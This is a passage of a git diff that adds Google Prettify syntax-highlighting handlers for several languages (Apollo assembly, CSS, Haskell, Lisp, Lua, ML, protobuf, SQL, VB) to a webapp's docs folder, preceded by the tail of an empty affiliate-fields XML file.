<Affiliates_BMTMicro_Vendor_ID /> + <Affiliates_BMTMicro_Product_ID /> + <Affiliates_BMTMicro_Maximum_Commission_Rate /> + <Affiliates_Cleverbridge_Order_Page /> + <Affiliates_Cleverbridge_Vendor_ID /> + <Affiliates_Cleverbridge_Product_ID /> + <Affiliates_Cleverbridge_Maximum_Commission_Rate /> + <Affiliates_clixGalore_Order_Page /> + <Affiliates_clixGalore_Vendor_ID /> + <Affiliates_clixGalore_Product_ID /> + <Affiliates_clixGalore_Maximum_Commission_Rate /> + <Affiliates_CommissionJunction_Order_Page /> + <Affiliates_CommissionJunction_Vendor_ID /> + <Affiliates_CommissionJunction_Product_ID /> + <Affiliates_CommissionJunction_Maximum_Commission_Rate /> + <Affiliates_DigiBuy_Order_Page /> + <Affiliates_DigiBuy_Vendor_ID /> + <Affiliates_DigiBuy_Product_ID /> + <Affiliates_DigiBuy_Maximum_Commission_Rate /> + <Affiliates_DigitalCandle_Order_Page /> + <Affiliates_DigitalCandle_Vendor_ID /> + <Affiliates_DigitalCandle_Product_ID /> + <Affiliates_DigitalCandle_Maximum_Commission_Rate /> + <Affiliates_Emetrix_Order_Page /> + <Affiliates_Emetrix_Vendor_ID /> + <Affiliates_Emetrix_Product_ID /> + <Affiliates_Emetrix_Maximum_Commission_Rate /> + <Affiliates_eSellerate_Order_Page /> + <Affiliates_eSellerate_Vendor_ID /> + <Affiliates_eSellerate_Product_ID /> + <Affiliates_eSellerate_Maximum_Commission_Rate /> + <Affiliates_Kagi_Order_Page /> + <Affiliates_Kagi_Vendor_ID /> + <Affiliates_Kagi_Product_ID /> + <Affiliates_Kagi_Maximum_Commission_Rate /> + <Affiliates_LinkShare_Order_Page /> + <Affiliates_LinkShare_Vendor_ID /> + <Affiliates_LinkShare_Product_ID /> + <Affiliates_LinkShare_Maximum_Commission_Rate /> + <Affiliates_NorthStarSol_Order_Page /> + <Affiliates_NorthStarSol_Vendor_ID /> + <Affiliates_NorthStarSol_Product_ID /> + <Affiliates_NorthStarSol_Maximum_Commission_Rate /> + <Affiliates_OneNetworkDirect_Order_Page /> + <Affiliates_OneNetworkDirect_Vendor_ID /> + <Affiliates_OneNetworkDirect_Product_ID /> + <Affiliates_OneNetworkDirect_Maximum_Commission_Rate /> + <Affiliates_Order1_Order_Page /> + <Affiliates_Order1_Vendor_ID /> + <Affiliates_Order1_Product_ID /> + <Affiliates_Order1_Maximum_Commission_Rate /> + <Affiliates_Osolis_Order_Page /> + <Affiliates_Osolis_Vendor_ID /> + <Affiliates_Osolis_Product_ID /> + <Affiliates_Osolis_Maximum_Commission_Rate /> + <Affiliates_Plimus_Order_Page /> + <Affiliates_Plimus_Vendor_ID /> + <Affiliates_Plimus_Product_ID /> + <Affiliates_Plimus_Maximum_Commission_Rate /> + <Affiliates_Regnet_Order_Page /> + <Affiliates_Regnet_Vendor_ID /> + <Affiliates_Regnet_Product_ID /> + <Affiliates_Regnet_Maximum_Commission_Rate /> + <Affiliates_Regnow_Order_Page /> + <Affiliates_Regnow_Vendor_ID /> + <Affiliates_Regnow_Product_ID /> + <Affiliates_Regnow_Maximum_Commission_Rate /> + <Affiliates_Regsoft_Order_Page /> + <Affiliates_Regsoft_Vendor_ID /> + <Affiliates_Regsoft_Product_ID /> + <Affiliates_Regsoft_Maximum_Commission_Rate /> + <Affiliates_ShareIt_Order_Page /> + <Affiliates_ShareIt_Vendor_ID /> + <Affiliates_ShareIt_Product_ID /> + <Affiliates_ShareIt_Maximum_Commission_Rate /> + <Affiliates_Shareasale_Order_Page /> + <Affiliates_Shareasale_Vendor_ID /> + <Affiliates_Shareasale_Product_ID /> + <Affiliates_Shareasale_Maximum_Commission_Rate /> + <Affiliates_SWReg_Order_Page /> + <Affiliates_SWReg_Vendor_ID /> + <Affiliates_SWReg_Product_ID /> + <Affiliates_SWReg_Maximum_Commission_Rate /> + <Affiliates_V-Share_Order_Page /> + <Affiliates_V-Share_Vendor_ID /> + <Affiliates_V-Share_Product_ID /> + <Affiliates_V-Share_Maximum_Commission_Rate /> + <Affiliates_VFree_Order_Page /> + <Affiliates_VFree_Vendor_ID /> + <Affiliates_VFree_Product_ID /> + <Affiliates_VFree_Maximum_Commission_Rate /> + <Affiliates_Yaskifo_Order_Page /> + <Affiliates_Yaskifo_Vendor_ID /> + <Affiliates_Yaskifo_Product_ID /> + <Affiliates_Yaskifo_Maximum_Commission_Rate /> + </Affiliates> +</XML_DIZ_INFO> diff --git a/src/main/webapp/monitoramento/docs/scripts/lang-apollo.js b/src/main/webapp/monitoramento/docs/scripts/lang-apollo.js new file mode 100644 index 0000000..c218210 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/scripts/lang-apollo.js @@ -0,0 +1,51 @@ +// Copyright (C) 2009 Onno Hommes. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + + +/** + * @fileoverview + * Registers a language handler for the AGC/AEA Assembly Language as described + * at http://virtualagc.googlecode.com + * <p> + * This file could be used by goodle code to allow syntax highlight for + * Virtual AGC SVN repository or if you don't want to commonize + * the header for the agc/aea html assembly listing. + * + * @author ohommes@alumni.cmu.edu + */ + +PR.registerLangHandler( + PR.createSimpleLexer( + [ + // A line comment that starts with ; + [PR.PR_COMMENT, /^#[^\r\n]*/, null, '#'], + // Whitespace + [PR.PR_PLAIN, /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'], + // A double quoted, possibly multi-line, string. + [PR.PR_STRING, /^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/, null, '"'] + ], + [ + [PR.PR_KEYWORD, /^(?:ADS|AD|AUG|BZF|BZMF|CAE|CAF|CA|CCS|COM|CS|DAS|DCA|DCOM|DCS|DDOUBL|DIM|DOUBLE|DTCB|DTCF|DV|DXCH|EDRUPT|EXTEND|INCR|INDEX|NDX|INHINT|LXCH|MASK|MSK|MP|MSU|NOOP|OVSK|QXCH|RAND|READ|RELINT|RESUME|RETURN|ROR|RXOR|SQUARE|SU|TCR|TCAA|OVSK|TCF|TC|TS|WAND|WOR|WRITE|XCH|XLQ|XXALQ|ZL|ZQ|ADD|ADZ|SUB|SUZ|MPY|MPR|MPZ|DVP|COM|ABS|CLA|CLZ|LDQ|STO|STQ|ALS|LLS|LRS|TRA|TSQ|TMI|TOV|AXT|TIX|DLY|INP|OUT)\s/,null], + [PR.PR_TYPE, /^(?:-?GENADR|=MINUS|2BCADR|VN|BOF|MM|-?2CADR|-?[1-6]DNADR|ADRES|BBCON|[SE]?BANK\=?|BLOCK|BNKSUM|E?CADR|COUNT\*?|2?DEC\*?|-?DNCHAN|-?DNPTR|EQUALS|ERASE|MEMORY|2?OCT|REMADR|SETLOC|SUBRO|ORG|BSS|BES|SYN|EQU|DEFINE|END)\s/,null], + // A single quote possibly followed by a word that optionally ends with + // = ! or ?. + [PR.PR_LITERAL, + /^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/], + // Any word including labels that optionally ends with = ! or ?. + [PR.PR_PLAIN, + /^-*(?:[!-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i], + // A printable non-space non-special character + [PR.PR_PUNCTUATION, /^[^\w\t\n\r \xA0()\"\\\';]+/] + ]), + ['apollo', 'agc', 'aea']); diff --git a/src/main/webapp/monitoramento/docs/scripts/lang-css.js b/src/main/webapp/monitoramento/docs/scripts/lang-css.js new file mode 100644 index 0000000..44013d2 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/scripts/lang-css.js @@ -0,0 +1,78 @@ +// Copyright (C) 2009 Google Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + + + +/** + * @fileoverview + * Registers a language handler for CSS. + * + * + * To use, include prettify.js and this file in your HTML page. + * Then put your code in an HTML tag like + * <pre class="prettyprint lang-css"></pre> + * + * + * http://www.w3.org/TR/CSS21/grammar.html Section G2 defines the lexical + * grammar. This scheme does not recognize keywords containing escapes. + * + * @author mikesamuel@gmail.com + */ + +PR.registerLangHandler( + PR.createSimpleLexer( + [ + // The space production <s> + [PR.PR_PLAIN, /^[ \t\r\n\f]+/, null, ' \t\r\n\f'] + ], + [ + // Quoted strings. <string1> and <string2> + [PR.PR_STRING, + /^\"(?:[^\n\r\f\\\"]|\\(?:\r\n?|\n|\f)|\\[\s\S])*\"/, null], + [PR.PR_STRING, + /^\'(?:[^\n\r\f\\\']|\\(?:\r\n?|\n|\f)|\\[\s\S])*\'/, null], + ['lang-css-str', /^url\(([^\)\"\']*)\)/i], + [PR.PR_KEYWORD, + /^(?:url|rgb|\!important|@import|@page|@media|@charset|inherit)(?=[^\-\w]|$)/i, + null], + // A property name -- an identifier followed by a colon. + ['lang-css-kw', /^(-?(?:[_a-z]|(?:\\[0-9a-f]+ ?))(?:[_a-z0-9\-]|\\(?:\\[0-9a-f]+ ?))*)\s*:/i], + // A C style block comment. The <comment> production. + [PR.PR_COMMENT, /^\/\*[^*]*\*+(?:[^\/*][^*]*\*+)*\//], + // Escaping text spans + [PR.PR_COMMENT, /^(?:<!--|-->)/], + // A number possibly containing a suffix. + [PR.PR_LITERAL, /^(?:\d+|\d*\.\d+)(?:%|[a-z]+)?/i], + // A hex color + [PR.PR_LITERAL, /^#(?:[0-9a-f]{3}){1,2}/i], + // An identifier + [PR.PR_PLAIN, + /^-?(?:[_a-z]|(?:\\[\da-f]+ ?))(?:[_a-z\d\-]|\\(?:\\[\da-f]+ ?))*/i], + // A run of punctuation + [PR.PR_PUNCTUATION, /^[^\s\w\'\"]+/] + ]), + ['css']); +PR.registerLangHandler( + PR.createSimpleLexer([], + [ + [PR.PR_KEYWORD, + /^-?(?:[_a-z]|(?:\\[\da-f]+ ?))(?:[_a-z\d\-]|\\(?:\\[\da-f]+ ?))*/i] + ]), + ['css-kw']); +PR.registerLangHandler( + PR.createSimpleLexer([], + [ + [PR.PR_STRING, /^[^\)\"\']+/] + ]), + ['css-str']); diff --git a/src/main/webapp/monitoramento/docs/scripts/lang-hs.js b/src/main/webapp/monitoramento/docs/scripts/lang-hs.js new file mode 100644 index 0000000..91157b9 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/scripts/lang-hs.js @@ -0,0 +1,101 @@ +// Copyright (C) 2009 Google Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + + + +/** + * @fileoverview + * Registers a language handler for Haskell. + * + * + * To use, include prettify.js and this file in your HTML page. + * Then put your code in an HTML tag like + * <pre class="prettyprint lang-hs">(my lisp code)</pre> + * The lang-cl class identifies the language as common lisp. + * This file supports the following language extensions: + * lang-cl - Common Lisp + * lang-el - Emacs Lisp + * lang-lisp - Lisp + * lang-scm - Scheme + * + * + * I used http://www.informatik.uni-freiburg.de/~thiemann/haskell/haskell98-report-html/syntax-iso.html + * as the basis, but ignore the way the ncomment production nests since this + * makes the lexical grammar irregular. It might be possible to support + * ncomments using the lookbehind filter. + * + * + * @author mikesamuel@gmail.com + */ + +PR.registerLangHandler( + PR.createSimpleLexer( + [ + // Whitespace + // whitechar -> newline | vertab | space | tab | uniWhite + // newline -> return linefeed | return | linefeed | formfeed + [PR.PR_PLAIN, /^[\t\n\x0B\x0C\r ]+/, null, '\t\n\x0B\x0C\r '], + // Single line double and single-quoted strings. + // char -> ' (graphic<' | \> | space | escape<\&>) ' + // string -> " {graphic<" | \> | space | escape | gap}" + // escape -> \ ( charesc | ascii | decimal | o octal + // | x hexadecimal ) + // charesc -> a | b | f | n | r | t | v | \ | " | ' | & + [PR.PR_STRING, /^\"(?:[^\"\\\n\x0C\r]|\\[\s\S])*(?:\"|$)/, + null, '"'], + [PR.PR_STRING, /^\'(?:[^\'\\\n\x0C\r]|\\[^&])\'?/, + null, "'"], + // decimal -> digit{digit} + // octal -> octit{octit} + // hexadecimal -> hexit{hexit} + // integer -> decimal + // | 0o octal | 0O octal + // | 0x hexadecimal | 0X hexadecimal + // float -> decimal . decimal [exponent] + // | decimal exponent + // exponent -> (e | E) [+ | -] decimal + [PR.PR_LITERAL, + /^(?:0o[0-7]+|0x[\da-f]+|\d+(?:\.\d+)?(?:e[+\-]?\d+)?)/i, + null, '0123456789'] + ], + [ + // Haskell does not have a regular lexical grammar due to the nested + // ncomment. + // comment -> dashes [ any<symbol> {any}] newline + // ncomment -> opencom ANYseq {ncomment ANYseq}closecom + // dashes -> '--' {'-'} + // opencom -> '{-' + // closecom -> '-}' + [PR.PR_COMMENT, /^(?:(?:--+(?:[^\r\n\x0C]*)?)|(?:\{-(?:[^-]|-+[^-\}])*-\}))/], + // reservedid -> case | class | data | default | deriving | do + // | else | if | import | in | infix | infixl | infixr + // | instance | let | module | newtype | of | then + // | type | where | _ + [PR.PR_KEYWORD, /^(?:case|class|data|default|deriving|do|else|if|import|in|infix|infixl|infixr|instance|let|module|newtype|of|then|type|where|_)(?=[^a-zA-Z0-9\']|$)/, null], + // qvarid -> [ modid . ] varid + // qconid -> [ modid . ] conid + // varid -> (small {small | large | digit | ' })<reservedid> + // conid -> large {small | large | digit | ' } + // modid -> conid + // small -> ascSmall | uniSmall | _ + // ascSmall -> a | b | ... | z + // uniSmall -> any Unicode lowercase letter + // large -> ascLarge | uniLarge + // ascLarge -> A | B | ... | Z + // uniLarge -> any uppercase or titlecase Unicode letter + [PR.PR_PLAIN, /^(?:[A-Z][\w\']*\.)*[a-zA-Z][\w\']*/], + // matches the symbol production + [PR.PR_PUNCTUATION, /^[^\t\n\x0B\x0C\r a-zA-Z0-9\'\"]+/] + ]), + ['hs']); diff --git a/src/main/webapp/monitoramento/docs/scripts/lang-lisp.js b/src/main/webapp/monitoramento/docs/scripts/lang-lisp.js new file mode 100644 index 0000000..4cffa53 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/scripts/lang-lisp.js @@ -0,0 +1,93 @@ +// Copyright (C) 2008 Google Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + + + +/** + * @fileoverview + * Registers a language handler for Common Lisp and related languages. + * + * + * To use, include prettify.js and this file in your HTML page. + * Then put your code in an HTML tag like + * <pre class="prettyprint lang-lisp">(my lisp code)</pre> + * The lang-cl class identifies the language as common lisp. + * This file supports the following language extensions: + * lang-cl - Common Lisp + * lang-el - Emacs Lisp + * lang-lisp - Lisp + * lang-scm - Scheme + * + * + * I used http://www.devincook.com/goldparser/doc/meta-language/grammar-LISP.htm + * as the basis, but added line comments that start with ; and changed the atom + * production to disallow unquoted semicolons. + * + * "Name" = 'LISP' + * "Author" = 'John McCarthy' + * "Version" = 'Minimal' + * "About" = 'LISP is an abstract language that organizes ALL' + * | 'data around "lists".' + * + * "Start Symbol" = [s-Expression] + * + * {Atom Char} = {Printable} - {Whitespace} - [()"\''] + * + * Atom = ( {Atom Char} | '\'{Printable} )+ + * + * [s-Expression] ::= [Quote] Atom + * | [Quote] '(' [Series] ')' + * | [Quote] '(' [s-Expression] '.' [s-Expression] ')' + * + * [Series] ::= [s-Expression] [Series] + * | + * + * [Quote] ::= '' !Quote = do not evaluate + * | + * + * + * I used <a href="http://gigamonkeys.com/book/">Practical Common Lisp</a> as + * the basis for the reserved word list. + * + * + * @author mikesamuel@gmail.com + */ + +PR.registerLangHandler( + PR.createSimpleLexer( + [ + ['opn', /^\(/, null, '('], + ['clo', /^\)/, null, ')'], + // A line comment that starts with ; + [PR.PR_COMMENT, /^;[^\r\n]*/, null, ';'], + // Whitespace + [PR.PR_PLAIN, /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'], + // A double quoted, possibly multi-line, string. + [PR.PR_STRING, /^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/, null, '"'] + ], + [ + [PR.PR_KEYWORD, /^(?:block|c[ad]+r|catch|cons|defun|do|eq|eql|equal|equalp|eval-when|flet|format|go|if|labels|lambda|let|load-time-value|locally|macrolet|multiple-value-call|nil|progn|progv|quote|require|return-from|setq|symbol-macrolet|t|tagbody|the|throw|unwind)\b/, null], + [PR.PR_LITERAL, + /^[+\-]?(?:0x[0-9a-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[ed][+\-]?\d+)?)/i], + // A single quote possibly followed by a word that optionally ends with + // = ! or ?. + [PR.PR_LITERAL, + /^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/], + // A word that optionally ends with = ! or ?. + [PR.PR_PLAIN, + /^-*(?:[a-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i], + // A printable non-space non-special character + [PR.PR_PUNCTUATION, /^[^\w\t\n\r \xA0()\"\\\';]+/] + ]), + ['cl', 'el', 'lisp', 'scm']); diff --git a/src/main/webapp/monitoramento/docs/scripts/lang-lua.js b/src/main/webapp/monitoramento/docs/scripts/lang-lua.js new file mode 100644 index 0000000..68bb30b --- /dev/null +++ b/src/main/webapp/monitoramento/docs/scripts/lang-lua.js @@ -0,0 +1,59 @@ +// Copyright (C) 2008 Google Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + + + +/** + * @fileoverview + * Registers a language handler for Lua. + * + * + * To use, include prettify.js and this file in your HTML page. + * Then put your code in an HTML tag like + * <pre class="prettyprint lang-lua">(my Lua code)</pre> + * + * + * I used http://www.lua.org/manual/5.1/manual.html#2.1 + * Because of the long-bracket concept used in strings and comments, Lua does + * not have a regular lexical grammar, but luckily it fits within the space + * of irregular grammars supported by javascript regular expressions. + * + * @author mikesamuel@gmail.com + */ + +PR.registerLangHandler( + PR.createSimpleLexer( + [ + // Whitespace + [PR.PR_PLAIN, /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'], + // A double or single quoted, possibly multi-line, string. + [PR.PR_STRING, /^(?:\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)|\'(?:[^\'\\]|\\[\s\S])*(?:\'|$))/, null, '"\''] + ], + [ + // A comment is either a line comment that starts with two dashes, or + // two dashes preceding a long bracketed block. + [PR.PR_COMMENT, /^--(?:\[(=*)\[[\s\S]*?(?:\]\1\]|$)|[^\r\n]*)/], + // A long bracketed block not preceded by -- is a string. + [PR.PR_STRING, /^\[(=*)\[[\s\S]*?(?:\]\1\]|$)/], + [PR.PR_KEYWORD, /^(?:and|break|do|else|elseif|end|false|for|function|if|in|local|nil|not|or|repeat|return|then|true|until|while)\b/, null], + // A number is a hex integer literal, a decimal real literal, or in + // scientific notation. + [PR.PR_LITERAL, + /^[+-]?(?:0x[\da-f]+|(?:(?:\.\d+|\d+(?:\.\d*)?)(?:e[+\-]?\d+)?))/i], + // An identifier + [PR.PR_PLAIN, /^[a-z_]\w*/i], + // A run of punctuation + [PR.PR_PUNCTUATION, /^[^\w\t\n\r \xA0][^\w\t\n\r \xA0\"\'\-\+=]*/] + ]), + ['lua']); diff --git a/src/main/webapp/monitoramento/docs/scripts/lang-ml.js b/src/main/webapp/monitoramento/docs/scripts/lang-ml.js new file mode 100644 index 0000000..c5a3db7 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/scripts/lang-ml.js @@ -0,0 +1,56 @@ +// Copyright (C) 2008 Google Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + + + +/** + * @fileoverview + * Registers a language handler for OCaml, SML, F# and similar languages. + * + * Based on the lexical grammar at + * http://research.microsoft.com/fsharp/manual/spec2.aspx#_Toc202383715 + * + * @author mikesamuel@gmail.com + */ + +PR.registerLangHandler( + PR.createSimpleLexer( + [ + // Whitespace is made up of spaces, tabs and newline characters. + [PR.PR_PLAIN, /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'], + // #if ident/#else/#endif directives delimit conditional compilation + // sections + [PR.PR_COMMENT, + /^#(?:if[\t\n\r \xA0]+(?:[a-z_$][\w\']*|``[^\r\n\t`]*(?:``|$))|else|endif|light)/i, + null, '#'], + // A double or single quoted, possibly multi-line, string. + // F# allows escaped newlines in strings. + [PR.PR_STRING, /^(?:\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)|\'(?:[^\'\\]|\\[\s\S])*(?:\'|$))/, null, '"\''] + ], + [ + // Block comments are delimited by (* and *) and may be + // nested. Single-line comments begin with // and extend to + // the end of a line. + // TODO: (*...*) comments can be nested. This does not handle that. + [PR.PR_COMMENT, /^(?:\/\/[^\r\n]*|\(\*[\s\S]*?\*\))/], + [PR.PR_KEYWORD, /^(?:abstract|and|as|assert|begin|class|default|delegate|do|done|downcast|downto|elif|else|end|exception|extern|false|finally|for|fun|function|if|in|inherit|inline|interface|internal|lazy|let|match|member|module|mutable|namespace|new|null|of|open|or|override|private|public|rec|return|static|struct|then|to|true|try|type|upcast|use|val|void|when|while|with|yield|asr|land|lor|lsl|lsr|lxor|mod|sig|atomic|break|checked|component|const|constraint|constructor|continue|eager|event|external|fixed|functor|global|include|method|mixin|object|parallel|process|protected|pure|sealed|trait|virtual|volatile)\b/], + // A number is a hex integer literal, a decimal real literal, or in + // scientific notation. + [PR.PR_LITERAL, + /^[+\-]?(?:0x[\da-f]+|(?:(?:\.\d+|\d+(?:\.\d*)?)(?:e[+\-]?\d+)?))/i], + [PR.PR_PLAIN, /^(?:[a-z_]\w*[!?#]?|``[^\r\n\t`]*(?:``|$))/i], + // A printable non-space non-special character + [PR.PR_PUNCTUATION, /^[^\t\n\r \xA0\"\'\w]+/] + ]), + ['fs', 'ml']); diff --git a/src/main/webapp/monitoramento/docs/scripts/lang-proto.js b/src/main/webapp/monitoramento/docs/scripts/lang-proto.js new file mode 100644 index 0000000..d6531fd --- /dev/null +++ b/src/main/webapp/monitoramento/docs/scripts/lang-proto.js @@ -0,0 +1,35 @@ +// Copyright (C) 2006 Google Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + + +/** + * @fileoverview + * Registers a language handler for Protocol Buffers as described at + * http://code.google.com/p/protobuf/. + * + * Based on the lexical grammar at + * http://research.microsoft.com/fsharp/manual/spec2.aspx#_Toc202383715 + * + * @author mikesamuel@gmail.com + */ + +PR.registerLangHandler(PR.sourceDecorator({ + keywords: ( + 'bool bytes default double enum extend extensions false fixed32 ' + + 'fixed64 float group import int32 int64 max message option ' + + 'optional package repeated required returns rpc service ' + + 'sfixed32 sfixed64 sint32 sint64 string syntax to true uint32 ' + + 'uint64'), + cStyleComments: true + }), ['proto']); diff --git a/src/main/webapp/monitoramento/docs/scripts/lang-sql.js b/src/main/webapp/monitoramento/docs/scripts/lang-sql.js new file mode 100644 index 0000000..7a58097 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/scripts/lang-sql.js @@ -0,0 +1,57 @@ +// Copyright (C) 2008 Google Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + + + +/** + * @fileoverview + * Registers a language handler for SQL. + * + * + * To use, include prettify.js and this file in your HTML page. + * Then put your code in an HTML tag like + * <pre class="prettyprint lang-sql">(my SQL code)</pre> + * + * + * http://savage.net.au/SQL/sql-99.bnf.html is the basis for the grammar, and + * http://msdn.microsoft.com/en-us/library/aa238507(SQL.80).aspx as the basis + * for the keyword list. + * + * @author mikesamuel@gmail.com + */ + +PR.registerLangHandler( + PR.createSimpleLexer( + [ + // Whitespace + [PR.PR_PLAIN, /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'], + // A double or single quoted, possibly multi-line, string. + [PR.PR_STRING, /^(?:"(?:[^\"\\]|\\.)*"|'(?:[^\'\\]|\\.)*')/, null, + '"\''] + ], + [ + // A comment is either a line comment that starts with two dashes, or + // two dashes preceding a long bracketed block. + [PR.PR_COMMENT, /^(?:--[^\r\n]*|\/\*[\s\S]*?(?:\*\/|$))/], + [PR.PR_KEYWORD, /^(?:ADD|ALL|ALTER|AND|ANY|AS|ASC|AUTHORIZATION|BACKUP|BEGIN|BETWEEN|BREAK|BROWSE|BULK|BY|CASCADE|CASE|CHECK|CHECKPOINT|CLOSE|CLUSTERED|COALESCE|COLLATE|COLUMN|COMMIT|COMPUTE|CONSTRAINT|CONTAINS|CONTAINSTABLE|CONTINUE|CONVERT|CREATE|CROSS|CURRENT|CURRENT_DATE|CURRENT_TIME|CURRENT_TIMESTAMP|CURRENT_USER|CURSOR|DATABASE|DBCC|DEALLOCATE|DECLARE|DEFAULT|DELETE|DENY|DESC|DISK|DISTINCT|DISTRIBUTED|DOUBLE|DROP|DUMMY|DUMP|ELSE|END|ERRLVL|ESCAPE|EXCEPT|EXEC|EXECUTE|EXISTS|EXIT|FETCH|FILE|FILLFACTOR|FOR|FOREIGN|FREETEXT|FREETEXTTABLE|FROM|FULL|FUNCTION|GOTO|GRANT|GROUP|HAVING|HOLDLOCK|IDENTITY|IDENTITYCOL|IDENTITY_INSERT|IF|IN|INDEX|INNER|INSERT|INTERSECT|INTO|IS|JOIN|KEY|KILL|LEFT|LIKE|LINENO|LOAD|NATIONAL|NOCHECK|NONCLUSTERED|NOT|NULL|NULLIF|OF|OFF|OFFSETS|ON|OPEN|OPENDATASOURCE|OPENQUERY|OPENROWSET|OPENXML|OPTION|OR|ORDER|OUTER|OVER|PERCENT|PLAN|PRECISION|PRIMARY|PRINT|PROC|PROCEDURE|PUBLIC|RAISERROR|READ|READTEXT|RECONFIGURE|REFERENCES|REPLICATION|RESTORE|RESTRICT|RETURN|REVOKE|RIGHT|ROLLBACK|ROWCOUNT|ROWGUIDCOL|RULE|SAVE|SCHEMA|SELECT|SESSION_USER|SET|SETUSER|SHUTDOWN|SOME|STATISTICS|SYSTEM_USER|TABLE|TEXTSIZE|THEN|TO|TOP|TRAN|TRANSACTION|TRIGGER|TRUNCATE|TSEQUAL|UNION|UNIQUE|UPDATE|UPDATETEXT|USE|USER|VALUES|VARYING|VIEW|WAITFOR|WHEN|WHERE|WHILE|WITH|WRITETEXT)(?=[^\w-]|$)/i, null], + // A number is a hex integer literal, a decimal real literal, or in + // scientific notation. + [PR.PR_LITERAL, + /^[+-]?(?:0x[\da-f]+|(?:(?:\.\d+|\d+(?:\.\d*)?)(?:e[+\-]?\d+)?))/i], + // An identifier + [PR.PR_PLAIN, /^[a-z_][\w-]*/i], + // A run of punctuation + [PR.PR_PUNCTUATION, /^[^\w\t\n\r \xA0\"\'][^\w\t\n\r \xA0+\-\"\']*/] + ]), + ['sql']); diff --git a/src/main/webapp/monitoramento/docs/scripts/lang-vb.js b/src/main/webapp/monitoramento/docs/scripts/lang-vb.js new file mode 100644 index 0000000..a38db45 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/scripts/lang-vb.js @@ -0,0 +1,61 @@ +// Copyright (C) 2009 Google Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + + + +/** + * @fileoverview + * Registers a language handler for various flavors of basic. + * + * + * To use, include prettify.js and this file in your HTML page. + * Then put your code in an HTML tag like + * <pre class="prettyprint lang-vb"></pre> + * + * + * 